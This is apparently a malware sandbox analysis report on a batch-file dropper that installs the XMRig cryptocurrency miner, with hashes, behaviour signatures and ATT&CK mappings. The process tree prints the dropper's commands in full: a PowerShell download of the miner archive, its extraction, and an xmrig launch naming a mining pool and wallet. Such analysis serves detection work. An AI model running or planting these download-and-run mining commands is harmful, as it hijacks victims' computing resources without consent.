xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
616s
max time network
1784s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20-05-2024 17:09

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General

Target

1.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/0x000700000001ac37-115.dat	family_xmrig
behavioral1/files/0x000700000001ac37-115.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	96	powershell.exe
4	96	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1504	xmrig.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
96	powershell.exe
420	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
96	powershell.exe
96	powershell.exe
96	powershell.exe
420	powershell.exe
420	powershell.exe
420	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	96	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeLockMemoryPrivilege	1504	xmrig.exe
Token: SeLockMemoryPrivilege	1504	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1504	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4780 wrote to memory of 96	4780	cmd.exe	75
PID 4780 wrote to memory of 96	4780	cmd.exe	75
PID 4780 wrote to memory of 420	4780	cmd.exe	76
PID 4780 wrote to memory of 420	4780	cmd.exe	76
PID 4780 wrote to memory of 1504	4780	cmd.exe	77
PID 4780 wrote to memory of 1504	4780	cmd.exe	77

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:96
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:420
- C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
  xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
42d4b1d78e6e092af15c7aef34e5cf45

SHA1
6cf9d0e674430680f67260194d3185667a2bb77b

SHA256
c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

SHA512
d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e8990d55c61502d3c238abf6aed60cc4

SHA1
ee8be138c86311455065669d023960f0a86e9c3c

SHA256
7ae718fb291693a54ec051d51d2d1fedf939ba2e94283c6995298cd5b00b5260

SHA512
9ca7798cb7acded11907e33680cfce9282dbbd73392f6339edc3137191c3ca9e4a6ca2459ea071e87fa2b4040eb25b8613ad67db4726551812a952cd681b1ad5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xd4pmdk.n23.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip

Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/96-5-0x000002AA74B80000-0x000002AA74BA2000-memory.dmp

Filesize
136KB

Download
memory/96-7-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/96-9-0x000002AA75290000-0x000002AA75306000-memory.dmp

Filesize
472KB

Download
memory/96-10-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/96-25-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/96-30-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/96-3-0x00007FFC7A793000-0x00007FFC7A794000-memory.dmp

Filesize
4KB

Download
memory/420-37-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/420-63-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/420-38-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/420-89-0x000002E0794B0000-0x000002E0794BA000-memory.dmp

Filesize
40KB

Download
memory/420-76-0x000002E079650000-0x000002E079662000-memory.dmp

Filesize
72KB

Download
memory/420-113-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/420-36-0x00007FFC7A790000-0x00007FFC7B17C000-memory.dmp

Filesize
9.9MB

Download
memory/1504-117-0x00000172B0FE0000-0x00000172B1000000-memory.dmp

Filesize
128KB

Download